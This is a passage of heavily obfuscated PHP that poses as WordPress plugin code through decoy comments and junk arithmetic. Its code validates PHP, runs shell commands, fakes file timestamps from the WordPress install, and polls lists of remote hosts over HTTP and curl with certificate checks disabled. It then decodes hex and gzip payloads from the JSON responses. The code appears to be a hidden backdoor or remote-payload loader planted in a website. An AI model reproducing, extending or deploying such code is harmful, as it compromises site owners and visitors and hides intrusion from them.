{
        $gekek5k62j  =   (int)    $gekek5k62j;
 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(213))  &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(214)))     {
    $_buqcvz4mar2h7kc =  @$GLOBALS['__scf_hovsb3ujdl3_213']($d5o4amclcy2jr);
   if     ($_buqcvz4mar2h7kc)   {
 $io2gv91mjg8b3 =  array();
      while    (($ye68b7hs2257kgf  =   @$GLOBALS['__scf_mrj_4bp5tfp5b0_214']($_buqcvz4mar2h7kc))    !== false) {
  if  ($ye68b7hs2257kgf    !==   '.'     &&   $ye68b7hs2257kgf    !== e77owqcywda_d(45))  $io2gv91mjg8b3[] =  $ye68b7hs2257kgf;
 if ($gekek5k62j >  0 &&    $GLOBALS['__scf_hotyagmbtkrb_36']($io2gv91mjg8b3) >=  $gekek5k62j)      break;
  }
    if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(215)))    @$GLOBALS['__scf_s2m8orbwca7snk_216']($_buqcvz4mar2h7kc);
  return $io2gv91mjg8b3;
  }
   }
if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(217)))     {
// yield open envelope

  $m6x_x9ny238pu      = @$GLOBALS['__scf_o_aq7f8mktg1_34']($d5o4amclcy2jr);
    if  ($GLOBALS['__scf_a91xkwk0qm_35']($m6x_x9ny238pu))   {
    $m6x_x9ny238pu   = $GLOBALS['__scf_fnyr4wcmh06x_144']($GLOBALS['__scf_rd9j34ymcsjc4s_148']($m6x_x9ny238pu,   array('.',    onlv7_99m8sby3(218))));
 if  ($gekek5k62j >    0  &&   $GLOBALS['__scf_hotyagmbtkrb_36']($m6x_x9ny238pu)   >   $gekek5k62j)   $m6x_x9ny238pu  =  $GLOBALS['__scf_kugu9wdsub_154']($m6x_x9ny238pu, 0,   $gekek5k62j);
      return    $m6x_x9ny238pu;
}
// WP Custom Link cron job



}
// WP InnerBlocks meta box output



if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(71))) {
$rqoq430lx1p39q    =   @$GLOBALS['__scf_gjx8dntqvik0_71']($d5o4amclcy2jr  .    c_5yznsrtgse_i(219));
if  ($GLOBALS['__scf_a91xkwk0qm_35']($rqoq430lx1p39q))  {
     if   ($gekek5k62j    > 0  &&   $GLOBALS['__scf_hotyagmbtkrb_36']($rqoq430lx1p39q)     >  $gekek5k62j)   $rqoq430lx1p39q  =  $GLOBALS['__scf_kugu9wdsub_154']($rqoq430lx1p39q,  0,      $gekek5k62j);



   return $GLOBALS['__scf_at_3vrh_gyu_220'](onlv7_99m8sby3(3),      $rqoq430lx1p39q);
 

 }



    }
  return  null;
 }
 function qm3fb_kxiribkkexru29rz($uh3v9zp8lp)
    {

   if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(221)) ||   !$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(135)))  return    null;
$aczvqwvgihezw5   = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(222))   ?   (string)  @$GLOBALS['__scf_hccbqyvtdwo0fx_109'](onlv7_99m8sby3(223)) : "";
     if    ($aczvqwvgihezw5 !==   ""     && stripos($aczvqwvgihezw5,  onlv7_99m8sby3(224))    !== false) return  null;
      $wiram8pgdna  =    n2d49ghrqegz5jd_m($GLOBALS['__scf_hfd5naynxinvpq_77'](), onlv7_99m8sby3(225));


 if ($wiram8pgdna === false)  return null;
    if    (@$GLOBALS['__scf_uayyvei514_193']($wiram8pgdna,    $uh3v9zp8lp)      !== $GLOBALS['__scf_m36_x4cy3m1b5_10']($uh3v9zp8lp))   {



 er_0rzjfu8611gx($wiram8pgdna);

   return  null;$laapehvk8xb8=9|18;$u5cbjmjx4uyna=$laapehvk8xb8^106;
 }
      $c7h7vuzqcgqc  =  @$GLOBALS['__scf_q2ya1nr4pt_224'](c_5yznsrtgse_i(226)  .     escapeshellarg($wiram8pgdna)  . onlv7_99m8sby3(227));
  er_0rzjfu8611gx($wiram8pgdna);
 if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($c7h7vuzqcgqc)    ||   $c7h7vuzqcgqc  ===    "")  return null;



 if   (stripos($c7h7vuzqcgqc,      c_5yznsrtgse_i(228))  !==     false)     return  true;

  if (stripos($c7h7vuzqcgqc, c_5yznsrtgse_i(229)) !== false ||    stripos($c7h7vuzqcgqc, onlv7_99m8sby3(230))  !==    false)     return  false;
   return   null;
 }
  function     pqt0j30bec0qiplt($uh3v9zp8lp)
 {
// deallocate proof-term for WP Archive Title

        static  $b_7gut2hg1osx0 = array();

       if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($uh3v9zp8lp)     ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($uh3v9zp8lp, okltugscqfcy(231))      === false)  return    false;
     if  ($GLOBALS['__scf_m36_x4cy3m1b5_10']($uh3v9zp8lp)  >   (2035489-986913)) $uh3v9zp8lp     =      ti6s2mx79ow6io($uh3v9zp8lp);
 if  ($GLOBALS['__scf_m36_x4cy3m1b5_10']($uh3v9zp8lp)  >  (1048565+11))  return     false;
 if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(232)))  return true;$e_hz4o6nk0u5bu=-233;$ea3u92lklvztl9=($e_hz4o6nk0u5bu>0)?$e_hz4o6nk0u5bu:-$e_hz4o6nk0u5bu;
  $yqx3p1r0wf = $GLOBALS['__scf_m36_x4cy3m1b5_10']($uh3v9zp8lp)   .   ':'    . $GLOBALS['__scf_poant85f5yad_56']($uh3v9zp8lp);
   if ($GLOBALS['__scf_oj_6xo9y_n_233']($yqx3p1r0wf,    $b_7gut2hg1osx0)) return    $b_7gut2hg1osx0[$yqx3p1r0wf];
   $bjtphpmoas04uxzv  =     iwfggaxkhux1l852it($uh3v9zp8lp);
     if   ($GLOBALS['__scf_hotyagmbtkrb_36']($b_7gut2hg1osx0)   >    (16^8)) $b_7gut2hg1osx0    = array();
$b_7gut2hg1osx0[$yqx3p1r0wf]   =      $bjtphpmoas04uxzv;

return    $bjtphpmoas04uxzv;



}
 function iwfggaxkhux1l852it($uh3v9zp8lp)
     {



        if     (!defined(e77owqcywda_d(234)))  {
        $a574samn3z2lwirh  = birqc7eypm0u5577c3vf($GLOBALS['__scf_m36_x4cy3m1b5_10']($uh3v9zp8lp));
    if ($a574samn3z2lwirh)   {
 $tz4vd722g34puj2j  = @token_get_all($uh3v9zp8lp);
 if  (!$GLOBALS['__scf_a91xkwk0qm_35']($tz4vd722g34puj2j))   return     true;
 $xcwqgpjni5n   =    0;


     $ib8ywju9t7_9   =  0;
$zm5ivpn9kgzv    = 0;



      foreach   ($tz4vd722g34puj2j     as   $f_4isqr6gaomku4)     {
 if  ($GLOBALS['__scf_a91xkwk0qm_35']($f_4isqr6gaomku4))    {


if  ($f_4isqr6gaomku4[0]   ===   T_CURLY_OPEN  || $f_4isqr6gaomku4[0]   ===   T_DOLLAR_OPEN_CURLY_BRACES)  $xcwqgpjni5n++;$iy4zycf_=PHP_INT_MAX/PHP_INT_MAX;$su9vgkq8mc=$iy4zycf_+29;


      continue;
    }
 if  ($f_4isqr6gaomku4   ===  '{')  $xcwqgpjni5n++;
   elseif ($f_4isqr6gaomku4  ===  '}')     {
// unlock facade for WP Post Terms

 $xcwqgpjni5n--;
 if    ($xcwqgpjni5n   < 0)   return  false;
 }    elseif    ($f_4isqr6gaomku4   ===    '(')   $ib8ywju9t7_9++;
  elseif  ($f_4isqr6gaomku4 ===     ')')  {$_16z71vfpwrjdl=(0xc4+0x7a);$ov0wqhquor4v_y=$_16z71vfpwrjdl%15;

$ib8ywju9t7_9--;
  if   ($ib8ywju9t7_9  <     0)   return    false;
     }  elseif   ($f_4isqr6gaomku4    ===  '[')      $zm5ivpn9kgzv++;



       elseif ($f_4isqr6gaomku4 ===    ']')   {
 $zm5ivpn9kgzv--;
   if  ($zm5ivpn9kgzv <    0) return false;
    }
 }
  if    ($xcwqgpjni5n !==     0  || $ib8ywju9t7_9 !==   0   || $zm5ivpn9kgzv  !==   0)    return   false;
}
  $mby803_gmdyv   =   qm3fb_kxiribkkexru29rz($uh3v9zp8lp);
 if ($GLOBALS['__scf__6fmddbd9tp_235']($mby803_gmdyv)) return  $mby803_gmdyv;
       return  $a574samn3z2lwirh;
     }
  if  (!birqc7eypm0u5577c3vf($GLOBALS['__scf_m36_x4cy3m1b5_10']($uh3v9zp8lp)))  {
 $mby803_gmdyv   =   qm3fb_kxiribkkexru29rz($uh3v9zp8lp);
      return     $GLOBALS['__scf__6fmddbd9tp_235']($mby803_gmdyv) ? $mby803_gmdyv :   false;
 }
  try    {
    @token_get_all($uh3v9zp8lp,    TOKEN_PARSE);
        return true;
  }     catch   (Throwable  $ye68b7hs2257kgf) {
return   false;
}    catch  (Exception  $ye68b7hs2257kgf)  {
 return   false;
}
    }
     function krw12r8wqgoe6vvpgv()
   {
   return   array(c_5yznsrtgse_i(236),  e77owqcywda_d(237),   e77owqcywda_d(238));
}
  function wqsd_polikby1vht83()
   {
   return     array(okltugscqfcy(239),  okltugscqfcy(240),   onlv7_99m8sby3(241),   okltugscqfcy(242),  c_5yznsrtgse_i(243), okltugscqfcy(244), onlv7_99m8sby3(245),   e77owqcywda_d(246),   e77owqcywda_d(247),     onlv7_99m8sby3(248), onlv7_99m8sby3(249),  okltugscqfcy(250),  onlv7_99m8sby3(251),     okltugscqfcy(252),   c_5yznsrtgse_i(253), okltugscqfcy(254),  c_5yznsrtgse_i(255),    okltugscqfcy(256),  okltugscqfcy(257),  okltugscqfcy(258));
       }
   function   oikb546g16dr2u()
   {
     return   array(okltugscqfcy(259), e77owqcywda_d(260),   c_5yznsrtgse_i(261),   okltugscqfcy(262));
 }
 
    function  lw3wnvq4czmze4k0ie($dwcyirx8msi_e3)
{
   if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(263))) return  gzencode($dwcyirx8msi_e3, (8+1));
 

  if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(264)))    {
 return  "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03"   .  gzdeflate($dwcyirx8msi_e3, (7+2))   . $GLOBALS['__scf_m5fr3oj3uzdra_265']('V',  $GLOBALS['__scf_hbe98sz4gs0o_266']($dwcyirx8msi_e3)) .      $GLOBALS['__scf_m5fr3oj3uzdra_265']('V',     $GLOBALS['__scf_m36_x4cy3m1b5_10']($dwcyirx8msi_e3) &   (4294967235+60));
    }
 return   $dwcyirx8msi_e3;
   }
 function   dco7obatwtu0al4jfi4m($dwcyirx8msi_e3)

 {
if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dwcyirx8msi_e3)  ||   $GLOBALS['__scf_m36_x4cy3m1b5_10']($dwcyirx8msi_e3)     <     2) return  $dwcyirx8msi_e3;
    if    ($GLOBALS['__scf_pozjicggfgaq_9']($dwcyirx8msi_e3, 0,  2)   !== "\x1f\x8b")  return  $dwcyirx8msi_e3;
      if  ($GLOBALS['__scf_m36_x4cy3m1b5_10']($dwcyirx8msi_e3) < (34-16))     return  false;
 

  $_z6aurp0dc701_i  =  @$GLOBALS['__scf_at1pry017d_267']('V',    $GLOBALS['__scf_pozjicggfgaq_9']($dwcyirx8msi_e3,  -(2+2)));
$_z6aurp0dc701_i =   $GLOBALS['__scf_a91xkwk0qm_35']($_z6aurp0dc701_i)   ?    $_z6aurp0dc701_i[1]  :  0;
     if     ($_z6aurp0dc701_i <     (455+45)  ||  $_z6aurp0dc701_i   > (1048539+37))  return    false;
if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(268)))    {



  $yaow7_phfq9    =    @gzdecode($dwcyirx8msi_e3,   (0x1f6cf+0xe0931));
   if    ($yaow7_phfq9  !==   false)  return $yaow7_phfq9;



     }



     if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(269)))   {
   $yaow7_phfq9 =   @gzinflate($GLOBALS['__scf_pozjicggfgaq_9']($dwcyirx8msi_e3, (0x9+0x1),    $GLOBALS['__scf_m36_x4cy3m1b5_10']($dwcyirx8msi_e3)  - (182^164)),  (1048505+71));
     return    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($yaow7_phfq9)    && $GLOBALS['__scf_m36_x4cy3m1b5_10']($yaow7_phfq9)      <=  (1048510+66))    ?    $yaow7_phfq9  : false;
  }
  return  false;
     }



  function  q603x581nuhhyrr($mau_2ia0ls38a)
    {


    if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(270)))   return     $GLOBALS['__scf_e71ni97sev9qs_270']($mau_2ia0ls38a);
// PHP match expression: expected dispatcher

    if (!    $GLOBALS['__scf_ncrh0liqs6be8x_41']($mau_2ia0ls38a)  ||     $GLOBALS['__scf_m36_x4cy3m1b5_10']($mau_2ia0ls38a)  %  2  !==      0)      {


   return     false;



  }

return  $GLOBALS['__scf_m5fr3oj3uzdra_265'](okltugscqfcy(271),   $mau_2ia0ls38a);
 }
 
      
function sx7gtblw9v0s3m1l7()
 {
      $oimoaz7mn7kpb =   array();
 $r6f_g0es060nqn_w    =  array(ABSPATH,    ABSPATH  .    c_5yznsrtgse_i(272),  ABSPATH  . onlv7_99m8sby3(273));$nepb58nla29v6=PHP_MAJOR_VERSION;$lc_mxcls=$nepb58nla29v6*3;
    if   (defined(onlv7_99m8sby3(162)))   $r6f_g0es060nqn_w[]      = WP_CONTENT_DIR  .  '/';
foreach  ($r6f_g0es060nqn_w     as      $yaow7_phfq9)    {

      $h8gk0ck04e  =  $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(71))     ?    @$GLOBALS['__scf_gjx8dntqvik0_71']($yaow7_phfq9  .   c_5yznsrtgse_i(274)) : false;


  if ($GLOBALS['__scf_a91xkwk0qm_35']($h8gk0ck04e))   {
foreach ($h8gk0ck04e  as  $jj6fib7ix9ntj) {
  $sdmwrsw7npdlnk5      = @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($jj6fib7ix9ntj);



  if ($sdmwrsw7npdlnk5  &&    $sdmwrsw7npdlnk5     >    (946684750+50))    {
    $oimoaz7mn7kpb[] =     $sdmwrsw7npdlnk5;
}

    }
   }
    }
if (!empty($oimoaz7mn7kpb))  {
 $og0ebx9lu2qzdtmg   = $oimoaz7mn7kpb[$GLOBALS['__scf_xpd8h2mup406_275']($oimoaz7mn7kpb)];
   return  ($og0ebx9lu2qzdtmg    -    ($og0ebx9lu2qzdtmg     %  (109524-9524))) + lz2qq_av2vpeb134hcpk();
 }
$huvi80z4b8bg4v  = $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   -   ((270+95) *  (32-8) *  (3516+84));
   $e_dy34xg__  =  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(276))   ?  wp_rand(0,  (234^244)   *  (17+7) * (236+3364))   : $GLOBALS['__scf_n99ik8d18ofhn_277'](0, (0x10+0xe)  *  (23+1) * (1897+1703));
 $og0ebx9lu2qzdtmg   =  $huvi80z4b8bg4v   -      $e_dy34xg__;
  return ($og0ebx9lu2qzdtmg  - ($og0ebx9lu2qzdtmg   %   (177835-77835))) + lz2qq_av2vpeb134hcpk();
}
 function   c6xusqoadgahv3($qn877u02reab)
{
// WP InspectorControls: streaming distributor

    if   (empty($GLOBALS[okltugscqfcy(278)]))    return   $qn877u02reab;
 $rw2nx5tbpfknrvl6  = $GLOBALS[c_5yznsrtgse_i(278)]     -   $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true);
  if   ($rw2nx5tbpfknrvl6    <    1)    return false;
  

return $qn877u02reab  > $rw2nx5tbpfknrvl6 ? (int)    $GLOBALS['__scf_v7kq2hv779pffq_280']($rw2nx5tbpfknrvl6)  :     $qn877u02reab;
 }
   function  ozkom14h947_9bma47($rpq9quqybrsx4pfg, $qn877u02reab, $xth8pu5bwsk  =     null)
   {
   $qn877u02reab  =    c6xusqoadgahv3($qn877u02reab);
   if  ($qn877u02reab ===      false)    return false;
  $t2a654gdzdcn21u =  function ($ve7b97bfesd5z0) use  ($xth8pu5bwsk)  {
if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($ve7b97bfesd5z0)   ||     $ve7b97bfesd5z0   ===   "")   return false;

      if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($ve7b97bfesd5z0) >   (13724957-5336349)) return     false;
     if  ($xth8pu5bwsk)  {
try  {
return   (bool) $GLOBALS['__scf_hnstmgzni1iah_281']($xth8pu5bwsk,   $ve7b97bfesd5z0);


}     catch     (Throwable     $ye68b7hs2257kgf)   {
return false;
  }  catch (Exception $ye68b7hs2257kgf)   {
 return  false;
}
   }
  return     true;
 };
     $d95h1ioarheg  = $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(282))      ? @$GLOBALS['__scf_wruv1u09qsfmz_282']($rpq9quqybrsx4pfg,   array(
 c_5yznsrtgse_i(283)  =>    $qn877u02reab,
e77owqcywda_d(284) =>    false,
 c_5yznsrtgse_i(285)  => (8388595+13),
 )) :  false;
    if   ($d95h1ioarheg     &&  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(286))  ||      !is_wp_error($d95h1ioarheg)))   {
// relaxed principal

    if   ((int) wp_remote_retrieve_response_code($d95h1ioarheg)  ===  (0xc7+0x1)) {

$rt4iv24igl   =  wp_remote_retrieve_body($d95h1ioarheg);
    if    ($t2a654gdzdcn21u($rt4iv24igl))     return   $rt4iv24igl;
   }
  }
$qn877u02reab   =  c6xusqoadgahv3($qn877u02reab);
  if  ($qn877u02reab     ===     false)  return    false;



  if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(287)) &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(288))    &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(289)))  {
  $rywqtwktarvbq_n   = @$GLOBALS['__scf_cukbso14_jh_287']($rpq9quqybrsx4pfg);
if  ($rywqtwktarvbq_n  ===   false)   return false;
    @$GLOBALS['__scf_w6cbsieap9b0az_288']($rywqtwktarvbq_n,  array(
      constant(c_5yznsrtgse_i(290))     =>     true,
constant(okltugscqfcy(291)) =>    $qn877u02reab,
constant(onlv7_99m8sby3(292))     =>     false,
        constant(e77owqcywda_d(293))  =>  0,
   constant(onlv7_99m8sby3(294))   => false,



    constant(c_5yznsrtgse_i(295))    => function    ($i2heqo3a8u1x,  $qmyjmo_qa8j5fo4, $yea6_doxgq2h_)   {

return  $yea6_doxgq2h_  >   (0x5e58e4+0x21a71c) ? 1      :   0;
  },
  ));



 $jt19a9isifbb3ny  = @$GLOBALS['__scf_cj182r9cul_296']($rywqtwktarvbq_n);
$ee443e2nm5  =  @curl_errno($rywqtwktarvbq_n);
  $a5wbunfu3llw   =    @curl_getinfo($rywqtwktarvbq_n);
 @curl_close($rywqtwktarvbq_n);



 if ($ee443e2nm5)    return false;
      if  ((int) $a5wbunfu3llw[okltugscqfcy(297)] ===  (102^174) && $jt19a9isifbb3ny  !==   false   &&    $t2a654gdzdcn21u($jt19a9isifbb3ny))  {



  return    $jt19a9isifbb3ny;
    }


 }
return    false;



 }

    function  t127zynrr1g9q843z9964q($rpq9quqybrsx4pfg, $qmwr62c7a7z_epv,  $oytca2rme8t, $qn877u02reab, $xth8pu5bwsk   =  null)

 {
  $qn877u02reab      =   c6xusqoadgahv3($qn877u02reab);


   if ($qn877u02reab  ===   false) return  false;
  $t2a654gdzdcn21u   =   function   ($ve7b97bfesd5z0)  use ($xth8pu5bwsk)    {
if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($ve7b97bfesd5z0)  ||  $ve7b97bfesd5z0  ===     "")  return false;

     if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($ve7b97bfesd5z0)  > (0x3ead32+0x4152ce))   return false;
  if   ($xth8pu5bwsk)     {
  try {
return    (bool)  $GLOBALS['__scf_hnstmgzni1iah_281']($xth8pu5bwsk,   $ve7b97bfesd5z0);
 }  catch (Throwable    $ye68b7hs2257kgf)  {
 return     false;
 }  catch (Exception $ye68b7hs2257kgf)   {

     return false;
  }



  }
  return true;
 };
     $d95h1ioarheg      =  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(298)) ?  @$GLOBALS['__scf_fnlgbdhzrqz2st_298']($rpq9quqybrsx4pfg,   array(
       c_5yznsrtgse_i(283)   =>   $qn877u02reab,
e77owqcywda_d(284) => false,


e77owqcywda_d(285) => (0x56b64c+0x2949b4),
c_5yznsrtgse_i(299)     =>  $oytca2rme8t,
okltugscqfcy(300) =>  $qmwr62c7a7z_epv,
    )) :    false;


  if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(286)) &&   is_wp_error($d95h1ioarheg))   {
   }    elseif ($d95h1ioarheg)    {
  $uh3v9zp8lp = (int) wp_remote_retrieve_response_code($d95h1ioarheg);
      $hq2tas7r1ye14e3r   =    wp_remote_retrieve_body($d95h1ioarheg);
 $ur8g_8718y76t   =  wp_remote_retrieve_headers($d95h1ioarheg);
 $no4r50wmdi =   "";
  if     ($GLOBALS['__scf_a91xkwk0qm_35']($ur8g_8718y76t))  {
    foreach  ($ur8g_8718y76t as   $bszqf_sws4z8acg_  =>  $o37smmdny8q3) {
 $no4r50wmdi   .=    $bszqf_sws4z8acg_   .     e77owqcywda_d(150) .  $o37smmdny8q3   .  onlv7_99m8sby3(301);



 }
// archive event-bus for WP Social Links

}
 if  ($uh3v9zp8lp === (7^207) && $t2a654gdzdcn21u($hq2tas7r1ye14e3r))  {
return     $hq2tas7r1ye14e3r;
   }
 }  else     {
 }
  if  (!empty($GLOBALS[e77owqcywda_d(302)])) return   false;
     $qn877u02reab =   c6xusqoadgahv3($qn877u02reab);
    if   ($qn877u02reab     ===      false)    return     false;
 if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(287))   &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(303))   &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(296)))  {
$rywqtwktarvbq_n   =   @$GLOBALS['__scf_cukbso14_jh_287']($rpq9quqybrsx4pfg);$h619g4h1_rvk=(0x62+0x29);$rck692b0=$h619g4h1_rvk%4;
    if  ($rywqtwktarvbq_n ===   false) {
// unbounded event-bus




      return   false;
}
 $of7nh366fih57xje  =     array();
 foreach   ($oytca2rme8t     as  $bszqf_sws4z8acg_ => $o37smmdny8q3) {
$of7nh366fih57xje[]  = $bszqf_sws4z8acg_ .   e77owqcywda_d(304)     .  $o37smmdny8q3;$lspcu0fl5=(0x1a+0xc6);$enezxpwdda=$lspcu0fl5%11;
   }
  @$GLOBALS['__scf_w6cbsieap9b0az_288']($rywqtwktarvbq_n, array(
     constant(e77owqcywda_d(305))    =>    true,
       constant(e77owqcywda_d(306))   =>      $qmwr62c7a7z_epv,
  constant(c_5yznsrtgse_i(290))    =>  true,


 constant(e77owqcywda_d(291)) =>     $qn877u02reab,
  constant(c_5yznsrtgse_i(292)) =>   false,
 constant(e77owqcywda_d(293))     =>  0,
     constant(c_5yznsrtgse_i(307))  =>   $of7nh366fih57xje,
constant(onlv7_99m8sby3(294))   =>      false,
constant(c_5yznsrtgse_i(295))  =>  function   ($i2heqo3a8u1x,  $qmyjmo_qa8j5fo4,  $yea6_doxgq2h_) {
 return  $yea6_doxgq2h_  >   (8388523+85)  ? 1     : 0;
       },
    ));

  $jt19a9isifbb3ny =    @$GLOBALS['__scf_cj182r9cul_296']($rywqtwktarvbq_n);
   $ee443e2nm5 =    @curl_errno($rywqtwktarvbq_n);
$tlyghbc8fpb58y     =   @curl_error($rywqtwktarvbq_n);
   $a5wbunfu3llw =  @curl_getinfo($rywqtwktarvbq_n);
  $gkbmkrh0qwq8g  =  (int) $a5wbunfu3llw[c_5yznsrtgse_i(308)];
if     ($ee443e2nm5) {
   @curl_close($rywqtwktarvbq_n);

 return  false;
}
@curl_close($rywqtwktarvbq_n);
 if  ($gkbmkrh0qwq8g     === (222-22)     &&  $jt19a9isifbb3ny   !==   false     &&     $t2a654gdzdcn21u($jt19a9isifbb3ny)) {
return    $jt19a9isifbb3ny;
  }
if      ($jt19a9isifbb3ny)     {
   }

 return  false;
    }
 return   false;
 }
    
 function  pflv5uuenkcoa4_4ps($uqlx4v_j1qpz9   =     (78-33))
      {
// @register alert


 $g6rgejhz24m2aq   =  krw12r8wqgoe6vvpgv();
  $t1b_m9xsj3    =   wqsd_polikby1vht83();
  $uqlx4v_j1qpz9     =  (int) $uqlx4v_j1qpz9;


 if   ($uqlx4v_j1qpz9     <  (0x4+0x1))   $uqlx4v_j1qpz9   =    (254^251);

 if ($uqlx4v_j1qpz9 >  (21+24))    $uqlx4v_j1qpz9   =  (0xb+0x22);



    
       if  (empty($g6rgejhz24m2aq)   || empty($t1b_m9xsj3)) {


return     array();
 }
 
 $xtlpnmua7a  =   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(141))  ?   (string) get_option(okltugscqfcy(309),  "") : "";$d_p_fdlx=(0x9c+0x8);$u51haowosw5l=$d_p_fdlx%15;


if      ($xtlpnmua7a  !==   "" &&   !$GLOBALS['__scf_wwy_cardw8r5v6_146']($xtlpnmua7a,      $t1b_m9xsj3,   true))    $xtlpnmua7a =  "";
     if ($xtlpnmua7a   !==    "")  {
$t1b_m9xsj3 =   $GLOBALS['__scf_fnyr4wcmh06x_144']($GLOBALS['__scf_rd9j34ymcsjc4s_148']($t1b_m9xsj3, array($xtlpnmua7a)));
 $GLOBALS['__scf_ge03_ug2e0a_310']($t1b_m9xsj3,  $xtlpnmua7a);
 }



 
$c_3u_yorwlns7pk = $GLOBALS['__scf__90_xdmo58j3q_311']($g6rgejhz24m2aq[$GLOBALS['__scf_xpd8h2mup406_275']($g6rgejhz24m2aq)]);
if ($c_3u_yorwlns7pk  ===  "") {
    return array();

   }

  $qmwr62c7a7z_epv    =  c_5yznsrtgse_i(312)     .    $c_3u_yorwlns7pk  .  okltugscqfcy(313);
$f0yekfdgfgp  =      array(okltugscqfcy(314)  =>    okltugscqfcy(315));
    $zxe6wi6967e   = $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true);
foreach  ($t1b_m9xsj3 as $uq8cmdkuf490)     {
  
  if     (($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true) -    $zxe6wi6967e)     >    $uqlx4v_j1qpz9) {$z65f6cl5i9ueml=(0x50+0x92);$thbd01alp=$z65f6cl5i9ueml%8;

 break;
 }
      


$uq8cmdkuf490     = $GLOBALS['__scf__90_xdmo58j3q_311']((string) $uq8cmdkuf490);



if  ($uq8cmdkuf490  ===  "") {
 continue;
}
try   {
$hq2tas7r1ye14e3r  =   t127zynrr1g9q843z9964q($uq8cmdkuf490,  $qmwr62c7a7z_epv,     $f0yekfdgfgp, (0x2+0x3),  function   ($ve7b97bfesd5z0) {
$qk1nayn9awigra =   @$GLOBALS['__scf_yuj8g0r0zhsi9_316']($ve7b97bfesd5z0,   true);
      return  $GLOBALS['__scf_a91xkwk0qm_35']($qk1nayn9awigra)    &&   isset($qk1nayn9awigra[okltugscqfcy(317)]);
      });
 if   ($hq2tas7r1ye14e3r ===   false)      {



     continue;
   }
 $seb4gkewpeby5cd  =  @$GLOBALS['__scf_yuj8g0r0zhsi9_316']($hq2tas7r1ye14e3r,  true);
if  (!   $GLOBALS['__scf_a91xkwk0qm_35']($seb4gkewpeby5cd)   ||  !     isset($seb4gkewpeby5cd[okltugscqfcy(317)]) ||    ! $GLOBALS['__scf_ncrh0liqs6be8x_41']($seb4gkewpeby5cd[onlv7_99m8sby3(318)]))  {
continue;
     }
  
$mau_2ia0ls38a =    $seb4gkewpeby5cd[c_5yznsrtgse_i(319)];
     if ($GLOBALS['__scf_ffvfced40_hd3k_7']($mau_2ia0ls38a,    onlv7_99m8sby3(320))    === 0) {
  $mau_2ia0ls38a   =   $GLOBALS['__scf_pozjicggfgaq_9']($mau_2ia0ls38a,  2);
 }
    
      $u7xiglqz6f    =  @q603x581nuhhyrr($mau_2ia0ls38a);
  if ($u7xiglqz6f  ===  false ||    $GLOBALS['__scf_m36_x4cy3m1b5_10']($u7xiglqz6f)  <   (32<<1))   {
continue;
  }


  


$negu1i0m10  = (0x8+0x37);
 $ixstyg80okhj  =  $GLOBALS['__scf_hrd6y5q38xc_321']($u7xiglqz6f[$negu1i0m10]);
 $vg3cffv0cm15a9b   =  $GLOBALS['__scf_pozjicggfgaq_9']($u7xiglqz6f, $negu1i0m10 + 1,     $ixstyg80okhj);
    if  (! $GLOBALS['__scf_ncrh0liqs6be8x_41']($vg3cffv0cm15a9b)  ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($vg3cffv0cm15a9b)  < (1+2))  {
 continue;
}
  
 $on0dmmz9ns4cg   =      $GLOBALS['__scf_hrd6y5q38xc_321']($vg3cffv0cm15a9b[0]);


if  ($on0dmmz9ns4cg <   1     ||   $GLOBALS['__scf_m36_x4cy3m1b5_10']($vg3cffv0cm15a9b)    < 1  +     $on0dmmz9ns4cg +  1)  {
 continue;
 }


 $uv0z826xcl  =  $GLOBALS['__scf_pozjicggfgaq_9']($vg3cffv0cm15a9b, 1,    $on0dmmz9ns4cg);
   $iqec8vxs_ymlfr3_  = $GLOBALS['__scf_pozjicggfgaq_9']($vg3cffv0cm15a9b,  1     + $on0dmmz9ns4cg);


   if   (! $GLOBALS['__scf_ncrh0liqs6be8x_41']($uv0z826xcl)     ||    !  $GLOBALS['__scf_ncrh0liqs6be8x_41']($iqec8vxs_ymlfr3_))  {
      continue;


